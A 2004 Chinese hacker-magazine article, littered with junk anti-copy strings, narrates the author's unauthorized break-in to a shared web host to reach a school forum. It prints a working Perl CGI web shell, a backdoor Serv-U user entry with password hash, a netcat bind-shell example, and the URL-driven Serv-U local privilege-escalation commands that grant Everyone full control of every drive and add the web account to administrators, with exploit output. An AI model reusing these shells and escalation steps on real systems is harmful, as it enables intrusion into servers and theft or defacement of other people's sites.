剑走偏锋——灵巧的旁注攻击 # q7 _2 A8 y" G& ^, O
本文作者:angel6 A8 `) q' c3 V$ Q( W' ^
文章性质:原创5 B1 b- {* ]$ w
发布日期:2004-11-09
4 \1 ?+ f# v! \# b" A7 R注意:: A( C. Q$ m1 L2 Q6 r z' {
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
8 @6 b8 K& F% F& m& p0 k z本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。 u& s! N6 v& d4 p8 F
! e0 B+ R& d- `4 C T 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
0 L* z3 @6 n. j6 s3 u# g3 ?1 a5 ?5 D$ I& t" p. Q7 k
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 6 I, u3 r$ S! x/ p7 R! t9 V
" `( F! X, D( R# d7 x) W/ Z6 ~
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 0 h3 G: @4 i5 a# b
/ }3 @8 ~4 H+ A- @
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
, A$ o n2 B4 T: _# J
! i L5 j; Q% c& F* u1 F 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
: o, d7 e# o7 w9 T ]$ F
* J C# |0 f. {+ k/ v! C( A2 S 没有目的的跳转目录着…… / f7 r0 Q) p* t G, o9 o
5 B, b! g2 a$ K) o8 n
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
; W$ ?0 J# z3 i4 h/ c% ]* ?! @8 i4 D" d% r6 \5 \' m2 ]
结束了吗?不,我试着 FTP 一下:
* k6 h5 a2 k& D: g5 p" I9 L/ N0 f' `* k- w; `: C5 [& Q
Microsoft Windows 2000 [Version 5.00.2195]' D( ]3 F# ^0 }+ ^7 f
(C) 版权所有 1985-2000 Microsoft Corp. + i% e2 I7 K& p7 Q+ b; x
+ O! \+ b- Y F( U- L; P" B; s' q4 aC:\Documents and Settings\Administrator>ftp www.school.com& K* f" C; @2 q, _& L! F/ f+ T" T' \
Connected to www. school.com. $ T! C+ }; U, i+ @& K
220 Welcome to FTP Server... ! F+ Q0 C4 U$ @# r
User (www.bjtrq.com:(none)):
7 m( d& W3 \5 g6 j. H, V331 User name okay, need password. $ y# U" L8 O5 d
Password:
b! i! ] T. x7 R; Y1 \530 Not logged in. $ U X- S9 l3 ]/ D, Z) I
Login failed.
F7 M5 O0 d2 t" E; Cftp> bye # J, r8 m5 ] q6 ~9 O
221 Goodbye!
* B# B% Q/ I& U+ R5 k v w 4 e: r0 ~! u# M9 t( ~$ G$ J. t
8 w$ F, v& H; p( a: f& l( H7 d 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 6 r: _- x6 Y" n/ S" M& B+ T
3 d$ [9 _; q9 H7 k1 x 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 3 {5 `5 M6 Z9 x4 b; c9 b
) @. [; k# F' m" M
Application Data5 j4 X) y( t8 D# p
Documents
( j- {% r1 M6 w1 bDRM- g' ?" f# o- y3 W
Favorites* A7 [/ [+ `6 n3 Z8 Z
Templates; J! f* e' g+ x4 {/ ]3 _8 O
「开始」菜单% {+ r; f8 p$ a5 [5 t3 ]
桌面2 x( o+ e( b" x% j! i
: c+ b$ x3 w" S7 ?, ]1 e* W* c- l: h% E
& D0 M% u y% E: A$ i; y: \ 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 9 u0 \' R: P0 w" s q" O0 r
8 s) u$ O6 ^4 H* a
ActiveState ActivePerl 5.8# m5 d& J, }0 F a5 q
Administrative Tools
! z3 R9 @7 g. I+ HDeerfield.com! j- o* _3 m, b1 N" t
DTemp* u5 k$ y( p, t# Q' H( k# j4 K
IPSentry8 p$ r+ _0 `" m
MBM 5
- W4 H' T9 }4 J( pNetMeter" u5 H" ^+ |9 t
Network ICE
6 x0 \) g: D0 x: [" g, jPersits Software AspEmail
3 g3 b1 {. A* K9 i4 A9 pPersits Software AspJpeg' `, M. Q' _+ u8 s) W
Serv-U FTP Server0 P1 R2 A$ `4 m" b# e$ r! b0 j$ }3 _
Symantec Client Security8 O8 K# o- ~9 ~5 P/ h$ Q
Windows 优化大师+ B- |4 Q: ?! _. W' w
WinRAR: h% {/ f$ q# M
启动( B( x g1 M" ?+ E8 T: n; g
管理工具
7 k3 O+ P, H1 q# ~* t4 S# ^* ?, O2 \; K附件
4 C6 K) ]2 _) V3 _! O8 R
: r* @. ~1 h% F8 V6 z+ F
+ b2 B) [: E$ |+ ]9 N, a 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
" _8 o& A" ~( v: l) H# M1 u, r/ }5 f* @* H
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
! s5 H" C/ l% O4 Z! ?! ^* Q: u& y: g4 ?. e* [
User281=angel|1|0 % V ~# h& Y E- |8 z) E6 S6 B; o
2 l. Y- I, p8 i0 T( b4 Z
, Q- Z" x6 @6 s0 j/ K* h( U/ y$ f; l 然后加上 1 T- t8 G+ \% B% ?: Z0 \
) p0 C) M, I1 L3 q5 |, b/ T* x
[USER=angel|1]/ V/ e9 i- w9 Q: q
Password=ng98F85379EA68DBF97BAADCA99B69B805% t/ S$ ]# x! F/ u* a
HomeDir=D:\websites9 E, Y& e L2 ^+ m* {' g+ f
RelPaths=1
* K: z, v' c6 }TimeOut=600
+ m$ F9 n, C7 r b$ o' AMaintenance=System
! |/ |! e( X+ C! |! JAccess1=D:\websites|RWAMELCDP5 f; A4 H9 T' @% E- B5 @' o" R
SKEYValues=
, F) a2 z3 @) J6 S+ T# d + V7 }( j/ A9 G) C, u @
0 j5 q" b7 @5 X7 j. a 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
1 A; t( G3 G: v, `# V
k0 E$ s& n7 b1 |8 n% o 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
2 h4 E7 x) E' ]3 z2 B' S4 `
0 u6 G$ I6 B: F2 `) j 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
. O. [9 z* B+ R0 T5 O# T
7 \; T% m6 d) i) d, F 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
, f8 _& {# _3 O+ Z1 T6 W9 C: _& \: G: u! n
#!/usr/bin/perl
5 w# u9 z* t3 ]3 t* b6 d3 Z- tbinmode(STDOUT);
* e* ^, i" D& j" Rsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);' s6 q8 D* t \9 q
$_ = $ENV{QUERY_STRING};& `4 n" }- c" w- {8 l2 w
s/%20/ /ig;/ {; T7 R7 R6 X% P9 ^, Q
s/%2f/\//ig;4 p z$ a, o) v Z( T- e$ f
$execthis = $_;
q; a, z; G! }, r% q' usyswrite(STDOUT, "<HTML><PRE>\r\n", 13);; n+ v1 q+ J: U2 q0 d+ m- |
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
, q, L2 u, T5 H! d v% wsystem($execthis);
- x& G+ |0 t5 W8 Ysyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
4 l6 J' |2 [+ a l( H S( y6 {close(STDERR);/ Y5 Z# g8 z3 g( p8 C2 ~( F
close(STDOUT);
: T* a# q( _* @. Hexit;* Q6 |1 Q n3 \+ K+ B
( m, F% [' R2 F5 H+ F
8 q- r D5 V R+ A- g: ? 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
3 ^8 P$ w% |4 e3 _- b; _9 f8 J' d0 u! ^7 ?+ g- q) a+ a- `. ~3 N! R
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
1 x4 u' t j- u4 A) r% I/ Q1 f3 n0 C, w+ Z+ U# T8 H
http://anyhost//cmd.pl?d:\user\bin\su.exe
& o0 K$ g4 [: S
R0 v: l" G& g" I' ~& {! f/ P2 X7 N. f C; Y" f% V
返回: : }# t2 T" m& y" R+ _1 g
" ^6 B7 |1 B+ O0 ]0 {( R7 d7 ]$ BServ-u >3.x Local Exploit by xiaolu 5 _3 r* J' d( s: M5 h9 _
7 o% L! g! s0 w& H& Z% l
USAGE: serv-u.exe "command" ! `2 P! Q K/ s( F# b
2 t! U+ y7 \+ I. H9 R
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
3 c, ~( I7 _7 }$ e' H - ~. \* W2 P; [' Q% n
' M' T% r+ }4 n# S q- M) R
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
' h: J( R: H o: y: K" ^3 ?9 y& f; ]! q4 _: x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 9 `1 ~/ N" M/ u" n" ?2 m
' D) P& @% y9 i' Lhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
) v( z$ ]- F* G0 F& I' ?6 T" m9 a! @
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
1 ?9 q/ j4 q+ Z8 u' B6 [, y* Q) G" u: p0 A
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
U' I4 C/ C3 B4 K& _: R) E - r3 }& p" v8 B) O; c
) n: h; D9 b7 m
返回下面的信息,就表示成功了!!! ) o3 [' t# U b0 F
( d1 @( k' n" \& S% b
Serv-u >3.x Local Exploit by xiaolu / p0 H+ A* [' v# z6 h% `
4 `% o! y: |( Q+ L" T3 _9 }% l
<220 Serv-U FTP Server v5.2 for WinSock ready... ) J0 O' y4 M. q* ]0 J% P
; n- g5 c. Y8 t4 N3 Y
>USER LocalAdministrator . i6 f [# V( o3 h0 s4 {$ c) \
& T( o" W4 \- Z/ V: F. u" M<331 User name okay, need password.
- E, h8 d V2 P9 z! B' |3 J. M( g, w; {- } e! U# H! z
******************************************************
( b/ ^1 M* B+ a) E; E, N5 s5 J$ {" p* u4 ^* A( Y$ `$ |
>PASS #l@$ak#.lk;0@P
, q- c0 N; K6 b# T7 A8 B8 k/ }! m4 V$ ^
<230 User logged in, proceed.
$ G% J! g$ L. {: X+ s$ @$ k! T; Y! d( m2 U! Z
****************************************************** : d1 V: K3 t( o1 U' ]# ]) p
' d0 z9 M [& h. M
>SITE MAINTENANCE 2 R* c$ x0 E' @+ m6 H) n
. U' S0 p# @' V( G2 ?6 J0 _3 N7 t
******************************************************
# Y* v1 V1 |3 s% Y* I) c4 _: A8 m
6 C8 j8 a& Z8 }6 n[+] Creating New Domain... 4 l5 f% K; v9 x3 P. ?
% M1 r/ ?+ k( W" J; Z<200-DomainID=2
7 @: F) s$ b& y0 j* I( l i# P& e1 t. v) t( O0 G
<220 Domain settings saved ' Z) o- {. Z2 a5 _" X
" {/ j1 v# }$ o8 `7 q" W
****************************************************** + D* P! N6 m# k6 O, g
% `) ^) E2 U1 s9 }5 q[+] Domain xl:2 Created
7 a$ {! D1 C$ j& m% T8 e* n# c
/ x7 I6 E3 o" W9 d- _. Z[+] Creating Evil User * c/ h( O% Z- A. Z
. l5 d2 R- e1 N<200-User=xl
$ d0 V, j. _' D9 W0 Y! u H2 D. H5 Z. N% _9 j; e
200 User settings saved
3 v* i' n. _ r* g. n" v
, x7 V# I2 w2 ]8 K! x****************************************************** & }5 M1 i2 K8 M
. V- u- O: d* I& Z& W/ a
[+] Now Exploiting...
% R+ s; U. J# t K p+ l+ E/ U6 ~! Q/ u( V6 \
>USER xl * Y" f; Z9 v3 M* }& [# H8 V }
B& T" j7 T& n5 Y! A<331 User name okay, need password. , i! N+ j, R( f, @7 C7 A& w
6 j0 e3 a* C9 g6 K" s* ^# z$ ?; ?****************************************************** $ E" ^' s: N* @: e
' O0 e. |. m( p. j1 o$ K+ M
>PASS 111111 ; R$ `( }% D6 A5 k8 \* N7 J. v' _
. q7 P9 m8 D' g/ J- ? J( L
<230 User logged in, proceed. 3 F6 ~) X3 d `1 X3 c* K1 m
; h. v; s. g i' p. E% A% O/ A3 t
****************************************************** 6 c! \, ^7 n/ A Z* v T7 J
/ l: q1 [+ v6 G5 r
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 3 l. o# a4 ?! e+ |
, [0 j1 K9 `1 g1 U* S4 o. Y9 P
<220 Domain deleted 1 N: U% |( W# i# D0 I/ M4 }
: B. B% l* H" J2 J7 K* w
******************************************************
: I+ `3 [! T$ O7 ~6 ? 0 L8 `& W0 t/ L6 U. B$ U
; L' G* y c1 G1 ^ 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 1 c+ O3 H9 v) J3 v
* N x7 Q- M( m: g( ^3 J
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
& f$ M3 \# }+ u7 _ + _+ P% L2 j4 k3 e( O
, A2 H' p, K) k. T; x h- F 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 - S, Y: T8 _1 G$ d$ q/ c: k* a8 |
% ]) E# [9 D8 R6 A+ T
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。; R4 _+ `5 Q) l' b& i, o0 E* q1 _' p
: Z. c P, e* y
5 [! F: i; m. G# e |